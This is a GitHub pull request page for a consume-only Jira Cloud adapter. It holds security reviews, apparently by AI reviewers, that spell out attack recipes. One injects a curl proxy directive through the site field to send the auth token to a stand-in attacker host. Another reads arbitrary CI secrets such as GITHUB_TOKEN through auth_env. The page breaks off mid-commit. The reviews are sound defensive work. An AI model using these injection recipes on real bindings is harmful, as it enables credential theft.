Skip to content

feat(work-items): Jira Cloud adapter for the work-item-tracker seam - #857

Merged
kyle-sexton merged 12 commits into
mainfrom
feat/379-jira-adapter
Jul 21, 2026
Merged

feat(work-items): Jira Cloud adapter for the work-item-tracker seam#857
kyle-sexton merged 12 commits into
mainfrom
feat/379-jira-adapter

Conversation

@kyle-sexton

@kyle-sexton kyle-sexton commented Jul 21, 2026

Copy link
Copy Markdown
Contributor

What

Adds a bundled jira adapter to the work-item-tracker seam (plugins/work-items/tools/work-item-tracker/adapters/jira/), alongside the shipped github and local-markdown adapters. GitHub stays the default. Scoped to the read/resolve path per the #379 maintainer decisions (15:48, re-intake).

Closes #379.

Adapter surface

Consume-only by default (issue #379 hard constraint) — the manifest declares:

Verb Supported Notes
get-item GET /rest/api/3/issue/{key} → normalized item
list-items POST /rest/api/3/search/jql, nextPageToken pagination, JQL scoped to project_keys
capabilities cats the manifest
create-item, claim, renew-lease, reclaim, link-blocks, add-sub-item ❌ exit 6 writes — no code path mutates a Jira ticket
list-sub-items ❌ exit 6 Jira epic-child/subtask enumeration is the deferred #6 link-type question; list-frontier --parent degrades to exit 6

No code path creates, claims, or mutates a Jira ticket by default. /work-items:work, track start, and list-frontier --parent are consequently unavailable on a Jira binding — an accepted gap. Branch/PR SW2-* linkage and opt-in writes are sequenced follow-ups.

Read-path normalization

state (statusCategory → open/closed), assignees (single assignee → accountId), labels (verbatim), type (issue-type name), open-only blocked_by_count (inward blocker links; linked-issue status inlined in issuelinks, so one call), parent_id (fields.parent), url (browse link). ID grammar: jira:<site>/<PROJECTKEY>#<number> ⇄ native key PROJECTKEY-number.

Auth & config

Basic auth (email + API token). The token is read from the env var named by config.jira.auth_env — never stored in the tracked binding, and passed to curl via a stdin config (-K -) so it never appears in argv. Required config: config.jira.{site, project_keys[], auth_email, auth_env}. The blocker link type (blocked_by_link_type, default Blocks) and the "done" statusCategory key set (done_category_keys, default ["done","completed"]) are configurable override seams for the two facts deferred to the live-instance pass, so the adapter is independent of them.

Fresh-docs research (per CLAUDE.md fresh-docs mandate)

Every endpoint/field was verified this session against the official Atlassian OpenAPI spec (https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json) and official docs — not training-data recall:

Tests

  • Adapter unit tests mock curl via a WIT_JIRA_CURL seam — the read path (normalization, OPEN-only blocked_by_count, done-exclusion, parent qualification, pagination across two nextPageToken pages, error → exit-code mapping) is exercised fully offline, no live Jira call.
  • A jira conformance binding runs the abstract seam suite offline in CI (the consume-only manifest makes every suite-exercised path pre-network), and re-runs it under a gh/curl-blocking PATH shim to prove zero network.
  • All 38 work-item-tracker seam tests, shellcheck --rcfile=.shellcheckrc, changelog-parity, plugin validation, skill-portability, and markdownlint pass locally.

Independent review

Audited by a fresh-context reviewer (producer ≠ critic). It found — and this branch fixes — a JQL-injection CRITICAL: list-items assembled the project in (...) / statusCategory in (...) clauses by string concatenation without escaping embedded quotes, so a --repo or configured key containing " could inject arbitrary JQL. Fixed by allowlist-validating every JQL-interpolated value before assembly (configured keys → exit 3 at config load; --repo key → exit 2 at parse; both before any HTTP call), with tests asserting the literal JQL payload and hostile-input rejection. Advisory nits (null-accountId assignee → [], up-front rejection of a malformed project key in an id, a hardcoded date in the conformance binding) also folded in. Everything else — consume-only structure, token hygiene, exit codes, pagination — verified clean.

Contract gaps found

Not in scope (sequenced follow-ups)

Opt-in writes; branch/PR SW2-* linkage (spans two plugins' source, forbidden by this issue's acceptance); container-scoped frontier (list-sub-items).

Related

Related work this PR does not close:

kyle-sexton and others added 2 commits July 21, 2026 06:18
…acker seam

Add a bundled `jira` adapter (tools/work-item-tracker/adapters/jira/) behind the
work-item-tracker seam, alongside the shipped github and local-markdown adapters;
GitHub stays the default. Scoped to the read/resolve path per the #379 maintainer
decisions.

Consume-only by default (issue #379 hard constraint): get-item, list-items, and
capabilities are supported; every coordination write verb and list-sub-items are
declared false in the manifest and exit 6 at the core gate, so no code path
creates, claims, or mutates a Jira ticket. Reads use Jira Cloud REST v3
(GET /rest/api/3/issue/{key}, POST /rest/api/3/search/jql with nextPageToken
pagination) over curl; Basic auth email + API token, the token referenced by
env-var name only and fed to curl via a stdin config so it never enters argv.

Normalization maps statusCategory to open/closed, single assignee to accountId,
labels verbatim, issue type, open-only blocked_by_count under the configured
blocker link type, fields.parent to parent_id, and the browse URL. The blocker
link type and the exact "done" statusCategory key are configurable override seams
defaulting to the documented Jira standards, so the adapter is independent of the
two live-instance facts (#4, #6) deferred to the work-laptop pass.

Config lives in config.jira (site, project_keys[], auth_email, auth_env), read by
the adapter itself rather than by growing the shared binding.sh. Adds a jira
conformance binding that runs fully offline in CI (the consume-only manifest makes
every suite-exercised path pre-network) plus curl-mocked unit tests for the read
path. /work-items:setup gains jira as a selectable provider; CONTRACT.md and a
per-adapter README document the surface.

Closes #379

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Independent review found a JQL-injection CRITICAL: list-items built the
`project in (...)` and `statusCategory in (...)` clauses by string assembly,
wrapping keys in quotes via jq interpolation WITHOUT escaping embedded quotes, so
a --repo project key (or a configured key) containing `"` could break out of the
literal and append arbitrary JQL.

Fix by allowlist (reject the unexpected, safer than escaping): every value
interpolated into JQL is charset-validated before assembly. Configured project_keys
and done_category_keys are validated at config load (exit 3 on a bad value); the
--repo override key is validated at parse time (exit 2). get-item likewise rejects
an id whose project key is grammar-valid but not a real Jira key, up front (exit 2),
instead of surfacing an opaque normalizer parse failure. Both allowlists reject
before any HTTP call.

Tests now assert the LITERAL JQL payload sent to the mocked curl (captured argv),
including hostile-input cases proving --repo and config keys with embedded quotes
are refused with no request made, plus the null-accountId assignee edge (-> []).
Also: correct the misleading "quoted safely" comment to describe the actual
validate-then-assemble mechanism, and drop a hardcoded date from the jira
conformance binding in favor of the issue ref.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 5m 26s —— View job


PR Review: feat(work-items): Jira Cloud adapter for the work-item-tracker seam

Tasks

  • Gather context
  • Read changed files: core adapter scripts
  • Read changed files: tests + conformance bindings
  • Read changed files: docs/manifest updates
  • Security review (token handling, JQL injection, curl hardening)
  • Correctness review (API endpoints, field normalization, pagination)
  • Shell/script quality review
  • Test coverage review
  • Post findings

Summary

Solid implementation of the read/resolve-only Jira adapter. JQL injection defense is thorough and well-tested. Auth hygiene (token via stdin curl config, never in argv) is correct. The normalization logic, exit-code mapping, pagination, and offline test suite are all high quality. One medium-severity gap and a few low-severity / nit items below.


Medium — WIT_JIRA_SITE is not format-validated before embedding in the curl -K config

File: common.sh:121

WIT_JIRA_SITE is read from the binding with no content check beyond "non-empty":

WIT_JIRA_SITE="$(jq -r '.config.jira.site // empty' "$binding")"
...
[[ -n "$WIT_JIRA_SITE" ]] || missing+=" config.jira.site"

It is then embedded unvalidated into the curl -K stdin config:

printf 'header = "Authorization: Basic %s"\nurl = "%s"\n' "$auth" "$url" |
    "$WIT_JIRA_CURL_BIN" "${curl_args[@]}" ...

A site value containing a newline (e.g. foo.atlassian.net\noutput = /tmp/exfil) would inject additional curl config directives — the most dangerous being output = <path>, which would write the Jira API response to an attacker-controlled file path. This path is relevant only in list-items (where the site is used without a prior ID-based cross-check), because get-item exits 2 before the HTTP call when WIT_ID_OWNER != WIT_JIRA_SITE, and WIT_ID_OWNER is constrained to [A-Za-z0-9_.-]+ by the shared ID grammar regex.

This requires a malicious .work-item-tracker.json in git — a tracked file — so severity is reduced, but the pattern already used for project keys (allowlist regex) should be applied here too. The PR applies a WIT_JIRA_PROJECT_KEY_RE allowlist for project keys and a WIT_JIRA_CATEGORY_KEY_RE for status-category keys; site deserves the same treatment.

Suggested fix — add a WIT_JIRA_SITE_RE at the top of common.sh and validate it in wit_need_jira_config:

readonly WIT_JIRA_SITE_RE='^[A-Za-z0-9][A-Za-z0-9._-]*$'
# in wit_need_jira_config, after loading WIT_JIRA_SITE:
[[ -n "$WIT_JIRA_SITE" ]] || missing+=" config.jira.site"
if [[ -n "$WIT_JIRA_SITE" ]] && [[ ! "$WIT_JIRA_SITE" =~ $WIT_JIRA_SITE_RE ]]; then
  printf '%s: config.jira.site value outside the allowed charset: %s\n' "$name" "$WIT_JIRA_SITE" >&2
  exit "$EX_CONFIG"
fi

Fix this →


Low — list-items emits an empty envelope on error when curl/auth fails

File: list-items.sh:92

The output pipeline is:

{
  while ...; do
    wit_jira_http POST "/search/jql" "$body"
    wit_jira_require_ok "list-items search"   # calls exit on error
    ...
  done
} | jq -c -s --arg sv "$WIT_SCHEMA_VERSION" '{schema_version: $sv, items: .}'

In bash, the left side of a pipe runs in a subshell. When wit_jira_require_ok calls exit 4 (auth failure), it exits the subshell — not the top-level script. The jq -c -s on the right side receives empty stdin and outputs {"schema_version":"1.0","items":[]} before the script exits. With pipefail, the pipe's overall exit code is still 4 (correct), but stdout contains a valid-looking empty envelope, which could mislead callers that don't gate on exit code.

The fix is either to redirect the error-path exit to signal the outer shell (e.g. via a temp-file flag or by restructuring to avoid the pipe), or to add a note to the contract that stdout is undefined on non-zero exit. The latter is already implied by the seam contract but isn't stated explicitly.


Nit — plugin.json description still says "github and local-markdown adapters" after this PR

File: plugin.json

The description field was not updated to mention the jira adapter alongside github and local-markdown. The CHANGELOG, SKILL.md, CONTRACT.md, and README all reflect the new adapter correctly, making this the only stale reference.


Nit — WIT_JIRA_AUTH_ENV not validated as a valid shell variable name

File: common.sh:123 / common.sh:171

WIT_JIRA_AUTH_ENV is used in ${!WIT_JIRA_AUTH_ENV:-} (indirect expansion). If the configured value contains spaces or other non-identifier characters (e.g. "JIRA TOKEN"), bash emits a "bad substitution" or "bad variable name" error — an unhandled crash rather than the clean exit-4 the caller expects. A simple allowlist check (^[A-Za-z_][A-Za-z0-9_]*$) at config load would surface this as a config error (exit 3) with an actionable message instead.


Positive observations

  • JQL injection defense is thorough. Allowlist-validating every JQL-interpolated value (project keys, status-category keys) before any query is assembled — not just escaping — is the right approach. Both the config-time (exit 3) and parse-time (exit 2) validation points are correctly placed, and the hostile-input tests assert both the rejection and the no-HTTP-call invariant. The coverage for this is exactly right.

  • Token never appears in argv. Passing the Basic-auth header through curl's -K - stdin config is correct and well-documented. This prevents the credential from being visible in process listings.

  • blocked_by_count is OPEN-only. The normalization program counts only inward blockers whose statusCategory.key is not in done_category_keys. This correctly matches the GitHub adapter's semantics (verified reference in CONTRACT.md) and avoids the documented GitHub blockedBy.totalCount defect that counted closed blockers.

  • done_category_keys defaulting to ["done","completed"]. The PR body documents why: the official spec's /statuscategory example disagrees with real instances. Covering both known representations is a sensible defense against an acknowledged spec/impl divergence.

  • Offline conformance with .invalid TLD. The conformance binding uses conformance.example.invalid — a non-routable TLD — for the site placeholder. This is a nice additional layer ensuring the offline suite can never accidentally resolve a real hostname.

  • Test coverage. Pagination across two nextPageToken pages, literal JQL payload assertions, hostile --repo key injection, hostile config-level project key injection, cross-site rejection, privacy-restricted assignee (accountId: null[]), 404/401 paths, and the zero-network shim pass are all present. The OPEN-only blocker count with a mixed open+closed blocker fixture is a good correctness anchor.

  • ID grammar re-validation in get-item. Up-front rejection of a project key that passes the broad ID regex but fails the narrower Jira project-key charset check (exit 2 before any HTTP call, with a clear message) is the right UX — avoids the opaque exit 5 that would otherwise surface from the normalizer failing to split the key.


@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 4m 39s —— View job


Security Review — PR #857 (Jira Cloud adapter)

  • Load tools
  • Read PR diff and changed files
  • Audit injection surfaces (command, path, JQL)
  • Audit credential / secret handling
  • Audit exit-code and error paths
  • Audit conformance binding and test harness
  • Synthesize and post findings

Reviewed files: adapters/jira/common.sh, get-item.sh, list-items.sh, capabilities.sh, conformance/bindings/jira.sh, conformance/bindings/jira.test.sh, and all *.test.sh files. Referenced lib/id.sh for the ID grammar. Two security findings; one additional suggestion.


IMPORTANT — auth_env indirect expansion can exfiltrate any environment variable | Confidence: CONFIRMED

Location: common.sh:171

local token="${!WIT_JIRA_AUTH_ENV:-}"

WIT_JIRA_AUTH_ENV is read from the binding JSON (jq -r '.config.jira.auth_env // empty') and accepted as any non-empty string. The bash indirect expansion ${!VAR} then reads whichever environment variable that string names — including unrelated CI secrets.

Attack scenario: A binding file that sets "auth_env": "GITHUB_TOKEN" (or AWS_SECRET_ACCESS_KEY, NPM_TOKEN, etc.) and "site": "attacker.example.com" causes wit_jira_http to send the named CI secret as the Authorization: Basic credential to the attacker-controlled endpoint. If the binding file (.work-item-tracker.json) is version-controlled in a consumer repo, a malicious PR modifying the binding can exfiltrate any environment variable that the CI job has access to. No warning, no validation; the only signal is an unexpected 401 from the attacker's server.

The design intent is sound (never store the token in the binding), but the field accepts arbitrary variable names rather than being scoped to a Jira-specific convention. Consider either allowlist-validating auth_env against a predictable pattern (e.g., ^[A-Z][A-Z0-9_]{1,63}$ and optionally requiring a configured prefix) or documenting that the binding file must be treated as a trusted secret and must never come from untrusted PR commits.

Fix this →


IMPORTANT — WIT_JIRA_SITE is not validated; a binding with an embedded newline or " can inject curl config directives | Confidence: PLAUSIBLE

Location: common.sh:195–204

local url="https://$WIT_JIRA_SITE/rest/api/3$path"
...
raw="$(printf 'header = "Authorization: Basic %s"\nurl = "%s"\n' "$auth" "$url" |
    "$WIT_JIRA_CURL_BIN" "${curl_args[@]}" 2>/dev/null)"

WIT_JIRA_SITE is read from the binding file via jq -r, which decodes JSON string escapes. A binding value of "site": "evil.com\"\nproxy = http://attacker.example.com:8080" becomes a literal string containing a newline after jq decoding. The printf then produces a well-formed two-directive curl config:

header = "Authorization: Basic BASE64"
url = "https://evil.com"
proxy = http://attacker.example.com:8080/rest/api/3/..."

The proxy directive routes all requests — including the Authorization: Basic header — through the attacker's proxy. Combined with the auth_env issue above, this chain makes the binding file a full credential-exfiltration primitive.

Other injectable curl directives that are similarly reachable: output (write API response to arbitrary path), config (load additional curl config from an attacker-chosen file).

All three values interpolated into JQL (project_keys, done_category_keys, and --repo project key) are properly allowlist-validated before use — that work is solid. The same treatment is needed for site: validate it against a hostname charset before the first HTTP call (e.g., ^[A-Za-z0-9][A-Za-z0-9._-]*$, reject if empty or mismatched after splitting on the first /).

Fix this →


SUGGESTION — WIT_JIRA_CURL seam executes an arbitrary binary named by environment variable | Confidence: PLAUSIBLE

Location: common.sh:58

readonly WIT_JIRA_CURL_BIN="${WIT_JIRA_CURL:-curl}"

The value is passed as the command word ("$WIT_JIRA_CURL_BIN" "${curl_args[@]}"), which is correctly quoted. However, if a CI/CD matrix or .env-style mechanism exports WIT_JIRA_CURL from a tampered source (e.g., a PR-injected env file, a poisoned workflow matrix value), the tool executes an arbitrary binary with the full curl argument list including the stdin-fed credential config.

This is an intentional testability seam and the quoting is correct, so there is no shell word-splitting risk. The residual concern is environmental: WIT_JIRA_CURL should be treated like a secret env var — it must not be settable by PR-supplied workflow inputs. This is a documentation and CI-policy gap rather than a code bug. Consider noting it in CONTRACT.md as "must not be set in untrusted CI contexts" or restricting it to CI environments where the variable is only set explicitly by maintainers.


What looks good

  • JQL injection protection is solid. Project keys and done-category keys are allowlist-validated (lines 140–154) before any JQL assembly, and the --repo project key is re-validated at parse time (line 46–47). The test in list-items.test.sh:94 asserts the literal JQL payload and that hostile input is rejected before any HTTP call — correct threat model.
  • Token never appears in argv. Credential is passed exclusively via curl's stdin config (-K -); the printf | curl pipe means the base64 credential is absent from the process's argument vector and won't appear in ps output or CI logs.
  • WIT_ID_NUMBER is digits-only. The ID regex (lib/id.sh:8) constrains WIT_ID_NUMBER to [0-9]+, so no URL path injection is possible via the issue number in get-item.sh:29–31.
  • $WIT_JIRA_BLOCKED_BY_LINK_TYPE is jq-arg-safe. It's passed via --arg blk (string literal in jq, not interpolated into the program text) and never reaches JQL.
  • Write verbs exit 6 at the capability gate. The consume-only manifest correctly declares all mutating verbs false, so no code path in this adapter creates, claims, or modifies a Jira ticket.
  • curl config integrity for auth. wit_jira_b64 output is base64 ([A-Za-z0-9+/=] only, newlines stripped), so the header = line in the curl config is structurally safe regardless of email/token content.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 705590d649

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread plugins/work-items/tools/work-item-tracker/adapters/jira/common.sh Outdated
… non-array config

Address two Codex review threads on the jira adapter (PR #857).

P1 (information scoping): reads were bounded only by site, so `--repo <site>/OTHER`
and a `get-item` id for any token-visible project could read tickets outside the
binding's declared project set. config.jira.project_keys is now enforced as the read
AND authorization boundary: get-item refuses an out-of-scope project id, and --repo
may only narrow within project_keys (never widen) — both exit 2 before any request.

P2 (config validation): a scalar `project_keys:"ABC"` satisfied the bare `length>0`
check (string length 3), then `.[]`/`map(...)` jq-errored into an empty `project in
()` clause this non-`set -e` script ignored. project_keys is now type-checked as a
non-empty array (and done_category_keys as an array) at config load — a malformed
value exits 3 per the contract.

Tests: out-of-scope get-item id and --repo → exit 2 with no HTTP call; non-array
project_keys → exit 3; a direct wit_jira_project_in_scope unit check. CONTRACT.md and
the adapter README document the scope-as-boundary rule.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 0ae80cc5fe

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread plugins/work-items/tools/work-item-tracker/adapters/jira/common.sh
Comment thread plugins/work-items/tools/work-item-tracker/adapters/jira/common.sh Outdated
Comment thread plugins/work-items/tools/work-item-tracker/adapters/jira/common.sh
Bring the branch up to date with main (12 commits, incl. work-items 0.18.2
#365 gh-bot resolution fix). Resolved two conflicts: kept the 0.19.0 version
bump (a minor above main's 0.18.2 patch) in plugin.json, and interleaved the
CHANGELOG so [0.19.0] (Jira adapter) precedes main's [0.18.2] entry. CONTRACT.md
auto-merged (main's Identity-routing edit vs this branch's jira section — disjoint).
@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 2m 33s —— View job


PR Review Update — feat(work-items): Jira Cloud adapter

Tasks

  • Load tools
  • Read current state of common.sh at HEAD
  • Read get-item.sh, list-items.sh at HEAD
  • Read plugin.json at HEAD
  • Verify: WIT_JIRA_SITE validation (curl config injection)
  • Verify: WIT_JIRA_AUTH_ENV validation (env var shell name + exfiltration)
  • Verify: project_keys scoping fix (0ae80cc)
  • Verify: non-array config rejection fix (0ae80cc)
  • Check: empty done_category_keys handling
  • Check: list-items pipe/subshell exit issue
  • Post findings

Review at 8c0f99a

Fixed in 0ae80cc — confirmed ✓

Both issues flagged by Codex's first review pass are fixed and well-tested:

project_keys as read/authorization boundary (common.sh:177–185, get-item.sh:30–31, list-items.sh:50–51). The new wit_jira_project_in_scope helper enforces the configured project set on both read paths before any HTTP call. Tests assert out-of-scope get-item id and out-of-scope --repo both exit 2 with no request made. Good.

Non-array project_keys rejection (common.sh:135–137). The binding now type-checks project_keys as an array before the length check, and done_category_keys must also be an array if present. Regression test for scalar project_keys:"ABC" → exit 3 is in place. Good.


Still open — three issues remain unaddressed

1. WIT_JIRA_SITE not validated before embedding in curl config | Security | Medium

common.sh:121 / common.sh:128

WIT_JIRA_SITE is read from the binding and accepted on a non-empty check only. It is then string-interpolated into the curl -K stdin config at common.sh:223:

printf 'header = "Authorization: Basic %s"\nurl = "%s"\n' "$auth" "$url" | ...

jq -r decodes JSON escape sequences, so a binding value of "site": "evil.com\"\nproxy = http://attacker.example.com:8080" produces a literal newline in WIT_JIRA_SITE. The printf then emits a well-formed multi-directive curl config that routes all requests — including the Authorization: Basic header — through the attacker's proxy. Flagged in both prior Claude reviews and the Codex P1 second-review pass.

The project-key and status-category key patterns already follow the allowlist approach at common.sh:75–76. The site needs the same:

readonly WIT_JIRA_SITE_RE='^[A-Za-z0-9][A-Za-z0-9._-]*$'

Validate WIT_JIRA_SITE against it in wit_need_jira_config after the non-empty check, exiting EX_CONFIG on mismatch.

Fix this →


2. WIT_JIRA_AUTH_ENV not validated as a valid shell identifier | Security | Medium

common.sh:123 / common.sh:191

WIT_JIRA_AUTH_ENV is accepted on a non-empty check, then used in indirect expansion:

local token="${!WIT_JIRA_AUTH_ENV:-}"

Two problems:

  • Identifier crash: a value like "JIRA-TOKEN" (hyphen) or "JIRA TOKEN" (space) causes bash to abort with bad variable name / invalid variable name, producing an unhandled exit 1 rather than a clean exit 3. The caller receives an opaque failure.
  • Exfiltration: a malicious binding sets "auth_env": "GITHUB_TOKEN" (or AWS_SECRET_ACCESS_KEY) and "site": "attacker.example.com". The adapter sends the named CI secret as the Authorization: Basic credential to the attacker-controlled endpoint. The only defence is restricting what names auth_env can take. Flagged in the security-review Claude comment as CONFIRMED.

Add an identifier allowlist check at config load time, validating WIT_JIRA_AUTH_ENV before it reaches the indirect expansion:

readonly WIT_JIRA_AUTH_ENV_RE='^[A-Z][A-Z0-9_]{1,63}$'

Validate after the non-empty check and exit EX_CONFIG on mismatch.

Fix this →


3. Empty done_category_keys override accepted silently | Correctness | Low

common.sh:140–141

The new array type-check correctly rejects a scalar done_category_keys as exit 3. However an explicitly empty array [] passes the type check and is accepted as WIT_JIRA_DONE_KEYS. This causes:

  • --state openstatusCategory not in () — Jira returns HTTP 400, surfacing as exit 1 (internal)
  • --state closedstatusCategory in () — same

The binding's default (when done_category_keys is absent) is ["done","completed"], so the only way to hit this is a consumer explicitly setting done_category_keys: []. That's a misconfiguration; the right exit is 3, not 1. Flagged in Codex's second-review pass.

Add a length check alongside the type check:

[[ "$(jq -r 'type' <<<"$WIT_JIRA_DONE_KEYS")" == "array" ]] &&
  [[ "$(jq -r 'length' <<<"$WIT_JIRA_DONE_KEYS")" -gt 0 ]] ||
  missing+=" config.jira.done_category_keys(non-empty array)"

Fix this →


Nit — plugin.json description omits jira

plugin.json:5

Still reads "bundled dispatcher plus github and local-markdown adapters". CHANGELOG, SKILL.md, CONTRACT.md, and README all reflect the new adapter. This is the only stale reference. Low priority.


Positive from this pass

The 0ae80cc fixes are cleanly implemented — the wit_jira_project_in_scope helper is a clear abstraction, the scope-as-boundary semantics are now stated in CONTRACT.md and the README, and the tests assert both the acceptance and the no-HTTP-call invariant for rejection. The scalar project_keys regression test is a good guard.

The three open items above (site validation, auth_env validation, empty done_category_keys) all fit the same allowlist pattern already established by WIT_JIRA_PROJECT_KEY_RE/WIT_JIRA_CATEGORY_KEY_RE — the fix in each case follows the existing code shape closely.

@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 4m 29s —— View job


Security Review — PR #857 (Jira Cloud adapter, HEAD 8c0f99a)

Tasks

  • Load tools
  • Read PR diff (current HEAD)
  • Audit common.sh — site validation, auth_env validation, indirect expansion
  • Audit get-item.sh / list-items.sh — injection surfaces, scope enforcement
  • Audit conformance binding and test harness
  • Cross-check previously flagged findings (site validation, auth_env format)
  • Synthesize and post findings

Two prior-review findings remain unaddressed in the current HEAD 8c0f99a. The fixes from 0ae80cc (project-key scope enforcement, non-array config type check) are confirmed correct. No new security issues found.


IMPORTANT — WIT_JIRA_SITE embedded unvalidated in curl -K config | Confidence: CONFIRMED

Location: common.sh:121, common.sh:128, common.sh:215, common.sh:223

WIT_JIRA_SITE is read from the binding via jq -r, which decodes JSON string escapes, then accepted with only a non-empty check:

WIT_JIRA_SITE="$(jq -r '.config.jira.site // empty' "$binding")"  # line 121
[[ -n "$WIT_JIRA_SITE" ]] || missing+=" config.jira.site"         # line 128

It is then embedded directly into the curl -K stdin config via printf in wit_jira_http:

local url="https://$WIT_JIRA_SITE/rest/api/3$path"                                             # line 215
raw="$(printf 'header = "Authorization: Basic %s"\nurl = "%s"\n' "$auth" "$url" |              # line 223
    "$WIT_JIRA_CURL_BIN" "${curl_args[@]}" 2>/dev/null)"

A binding with "site": "evil.com\"\nproxy = http://attacker.example.com:8080" — the \n is decoded by jq -r to a literal newline — produces a two-directive curl config that routes all requests (including the Authorization: Basic header) through the attacker's proxy. Other injectable directives: output (write response body to arbitrary path), config (load an attacker-supplied config file).

Scope: This affects list-items directly: WIT_JIRA_SITE is used without any prior cross-validation in that path. get-item has an incidental safeguard — the WIT_ID_OWNER == WIT_JIRA_SITE cross-check at get-item.sh:21 would fail for a site containing a newline because WIT_ID_OWNER is constrained to [A-Za-z0-9_.-]+ by the ID grammar regex — but the protection is structural, not an explicit validation, and list-items does not share it.

Attack scenario: A malicious PR against a consumer repo modifies .work-item-tracker.json to set "site": "evil.com\nproxy = http://attacker.example.com:8080". A CI job that runs list-items on that code routes the Jira API response (and credential) through the attacker's proxy server.

Suggested fix: Add a WIT_JIRA_SITE_RE='^[A-Za-z0-9][A-Za-z0-9._-]*$' allowlist and reject non-matching values with exit 3 in wit_need_jira_config, immediately after the non-empty check — the same pattern already applied to project_keys and done_category_keys.

Fix this →


IMPORTANT — WIT_JIRA_AUTH_ENV accepts arbitrary strings; indirect expansion can exfiltrate any CI env var | Confidence: CONFIRMED

Location: common.sh:123, common.sh:130, common.sh:191

WIT_JIRA_AUTH_ENV is accepted as any non-empty string from the binding:

WIT_JIRA_AUTH_ENV="$(jq -r '.config.jira.auth_env // empty' "$binding")"  # line 123
[[ -n "$WIT_JIRA_AUTH_ENV" ]] || missing+=" config.jira.auth_env"         # line 130

Bash indirect expansion is then used without validation:

local token="${!WIT_JIRA_AUTH_ENV:-}"    # line 191

Attack scenario (chains with finding #1): A binding that sets "auth_env": "GITHUB_TOKEN" and "site": "attacker.example.com" causes the adapter to read the CI-provided GITHUB_TOKEN and send it as the Authorization: Basic credential to the attacker's endpoint via wit_jira_http. A malicious PR modifying the binding can target any environment variable the CI job has access to — GITHUB_TOKEN, AWS_SECRET_ACCESS_KEY, NPM_TOKEN, etc.

The two findings together form a complete credential-exfiltration primitive: the binding controls which secret to read (auth_env) and where to send it (site). Neither field is validated beyond non-empty.

Secondary risk: If auth_env contains characters invalid in a bash variable name (e.g. "JIRA-TOKEN" with a hyphen), ${!WIT_JIRA_AUTH_ENV:-} triggers a bad variable name error from bash. Depending on the bash version, this either silently sets token to empty (→ exit 4) or aborts the script (→ exit 1 from the outer shell). Either path produces a confusing error rather than the clean exit 3 that a config-validation failure should produce.

Suggested fix: Add a shell-identifier allowlist check (e.g., ^[A-Z][A-Z0-9_]{1,63}$, upper-case-only to scope away from bash internals) to wit_need_jira_config after loading WIT_JIRA_AUTH_ENV, exiting with EX_CONFIG (exit 3) on mismatch — same pattern as the project-key and category-key checks.

Fix this →


What's confirmed fixed since the initial review

  • Project-key scope enforcement (0ae80cc): get-item now rejects IDs whose project is not in config.jira.project_keys (exit 2 before any HTTP call); list-items --repo similarly refuses a project not in the declared scope. wit_jira_project_in_scope helper is correct, and the scope-as-boundary rule is documented in CONTRACT.md.
  • Non-array project_keys rejected at config load (0ae80cc): wit_need_jira_config now type-checks project_keys as an array before length, preventing the silent empty-clause path from a scalar value.
  • JQL injection on project keys and category keys: Allowlist regex (WIT_JIRA_PROJECT_KEY_RE, WIT_JIRA_CATEGORY_KEY_RE) is applied before any query assembly. Config-time exit 3 and parse-time exit 2 validation points are both correct and well-tested.
  • Token never in argv: Credential passed exclusively via curl's stdin config (-K -). Safe.
  • WIT_ID_NUMBER digits-only: ID grammar constrains it to [0-9]+, so no URL path injection via issue number.

kyle-sexton added a commit that referenced this pull request Jul 21, 2026
Resolves conflicts on source-control and work-items plugin.json/CHANGELOG.md:
main advanced source-control to 0.15.8 (#839, merged) and work-items to 0.18.2
(#826, merged) since this branch was last rebased. Also re-checked live open
PRs at merge time and found work-items now carries a new open claim, #857 at
0.19.0 (Jira adapter) — re-bumped this branch's work-items claim from 0.18.3
to 0.19.1 to stay ahead of it. source-control's 0.15.10 and claude-ops's
0.17.3 remain valid (still one past #840/#860's 0.15.9 and #844/#860's 0.17.2
open claims, respectively).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01K1V3gkrfSf75isB8MiDy3o

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 8c0f99aa90

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread plugins/work-items/tools/work-item-tracker/adapters/jira/common.sh
…y done keys

Second Codex review round on PR #857 — three config-validation gaps, all fixed at
config load (exit 3) before any request.

P1 (credential egress): config.jira.site is the host the Basic-auth token is sent
to, and the binding is tracked (PR-modifiable). A binding could point site at an
arbitrary host and exfiltrate the token. site is now validated to be a bare hostname
(no scheme/path/@/port/control chars — blocks URL-structure smuggling) AND an
